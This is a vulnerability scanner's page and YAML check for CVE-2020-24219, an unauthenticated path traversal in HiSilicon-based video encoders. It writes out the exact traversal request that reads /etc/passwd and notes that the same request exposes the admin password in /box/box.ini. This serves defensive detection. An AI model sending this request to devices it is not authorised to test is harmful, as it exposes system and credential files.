Hisilicon Encoder — 1 vulnerability check
noctis ships 1 vulnerability check for Hisilicon Encoder, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
HiSilicon Video Encoder Path Traversal File Disclosure
| CVE | CVE-2020-24219 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/hisilicon-encoder/CVE-2020-24219.yaml |
Tests IPTV/H.264/H.265 video encoders built on HiSilicon boards (URayTech firmware and its rebrands) for the unauthenticated path traversal in their web server. The device serves any request whose path contains a static-file extension without a login and does not remove "../" from it; the /sys/devices/media/13070000.jpgd directory present on these boards matches that check. The feed sends, without any login, GET /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd exactly as written and reports the device when an HTTP 200 reply carries a uid-0 /etc/passwd line. A control request for an absent random file through the same path must not return a passwd line, so a server that serves the same content on every request is not reported. Only /etc/passwd is read, and the root password hash it holds on these devices is not copied into the finding.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd HTTP/1.0 - Checks
passwd_r.bannerfor(?s)\AHTTP/1\.[01] 200\b.*?(?m:(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd.noctis-absent-{{oob_tok… - Checks
ctrl_r.bannerfor(?m)(?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+: - Checks
prooffor^(?:root|<redacted>):<redacted>:0:[0-9]+:→ finding QoD 75: HiSilicon Video Encoder Path Traversal File Disclosure (CVE-2020-24219)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-24219
- https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/#arbitrary-file-disclosure-via-path-traversal-cve-2020-24219
- https://www.kb.cert.org/vuls/id/896979
Feed source — tests/vulnerabilities/hisilicon-encoder/CVE-2020-24219.yaml
# HiSilicon-based IPTV/H.264/H.265 video encoder path traversal — CVE-2020-24219
#
# The "box" web server of URayTech-family video encoders built on HiSilicon
# hi3520d boards (sold under many brands) serves a request as a static file,
# without authentication, whenever the resource name CONTAINS a static-file
# substring anywhere (std::string::find, e.g. ".jpg"). The resource name is
# then appended to the web root without removing "../". The directory
# /sys/devices/media/13070000.jpgd exists on these boards and its name holds
# ".jpg", so walking through it reaches any file:
# GET /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd
# (kojenov.com 2020-09-15 write-up, CERT/CC VU#896979). The same request
# reads /box/box.ini, which holds the admin password in clear text; the feed
# deliberately reads only /etc/passwd.
#
# Detection (benign, read-only): the request above, sent verbatim through
# tcp_connect (the "../" segments must not be normalised away by an HTTP
# client), matched on an HTTP 200 status line followed by a uid-0 passwd
# line. QoD 75 (response analysis).
# These firmwares keep root's crypt hash in /etc/passwd
# (root:<hash>:0:0::/root:/bin/sh), so the reply is never copied into the
# finding: a script rebuilds a redacted line from the captured gid and
# home:shell only.
#
# Improvements over the source NASL:
# - The match requires a 200 status line and a uid-0 passwd line with
# its gid, home and shell fields, not only "root:.*:0:[01]:" anywhere.
# - A control request (same traversal, absent random file) must come back
# WITHOUT a passwd line; a server that returns the same file on every
# request is therefore not reported (fail-closed: no control reply → no
# finding). The absent name contains "etc/passwd", so a honeypot keying
# a fake file on that substring is caught too.
# - The leaked root password hash never reaches the finding.
#
# Ported from OpenVAS/Greenbone NVT
# 2020/hisilicon/gb_hisilicon_encoder_file_disclosure_vuln.nasl (GPL-2.0-only).
uid: 53a015f1-65d0-4608-99f2-96c5acffdc4f
name: "HiSilicon Video Encoder Path Traversal File Disclosure (CVE-2020-24219)"
description: |
Tests IPTV/H.264/H.265 video encoders built on HiSilicon boards (URayTech
firmware and its rebrands) for the unauthenticated path traversal in their
web server. The device serves any request whose path contains a
static-file extension without a login and does not remove "../" from it;
the /sys/devices/media/13070000.jpgd directory present on these boards
matches that check. The feed sends, without any login,
GET /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd exactly
as written and reports the device when an HTTP 200 reply carries a uid-0
/etc/passwd line. A control request for an absent random file through the
same path must not return a passwd line, so a server that serves the same
content on every request is not reported. Only /etc/passwd is read, and
the root password hash it holds on these devices is not copied into the
finding.
cves: [CVE-2020-24219]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [hisilicon, uraytech, video-encoder, iptv, iot, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-24219"
- "https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/#arbitrary-file-disclosure-via-path-traversal-cve-2020-24219"
- "https://www.kb.cert.org/vuls/id/896979"
# OpenVAS/Greenbone NASL 2020/hisilicon/gb_hisilicon_encoder_file_disclosure_vuln.nasl (GPL-2.0-only)
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {connected: false, banner: ""}
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Read /etc/passwd through the 13070000.jpgd directory ─────────────────
- id: read-passwd
action: tcp_connect
port: "{{port}}"
send: "GET /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw reply (root hash) must not become evidence.
# name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
- id: passwd-content
action: match
source: passwd_r.banner
pattern: "(?s)\\AHTTP/1\\.[01] 200\\b.*?(?m:(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*))"
condition: 'passwd_r.connected == true && type_of(passwd_r.banner) == "string"'
store_as: passwd_m
- id: passwd-redact
action: script
condition: 'passwd_r.connected == true && type_of(passwd_r.banner) == "string"'
code: |
if passwd_m.matched && passwd_m.captures.len() > 2 {
if passwd_m.captures[0] == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
}
} else { "" }
store_as: proof
# ── Control: same traversal, absent random file — must NOT carry a passwd
# line. The absent name still contains "etc/passwd", so a honeypot that
# keys a fake file on that substring answers it too.
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd.noctis-absent-{{oob_token}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'proof != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.banner
pattern: "(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:"
condition: 'proof != "" && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string"'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report-passwd
action: match
source: proof
pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
on_match:
finding:
title: "HiSilicon Video Encoder Path Traversal File Disclosure (CVE-2020-24219)"
description: "An unauthenticated GET for /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd returned the device's /etc/passwd, while the same request for an absent file did not. The same flaw reads any file on the encoder, including /box/box.ini, which holds the web administration password in clear text."
remediation: "Ask the vendor for a firmware that fixes CVE-2020-24219 (most vendors of these encoders have not issued one); until then keep the encoder's web interface on an isolated, trusted network and never expose it to the Internet."
confidence_delta: 0.55
qod: 75
evidence: "GET /../../sys/devices/media/13070000.jpgd/../../../../etc/passwd returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
stop: true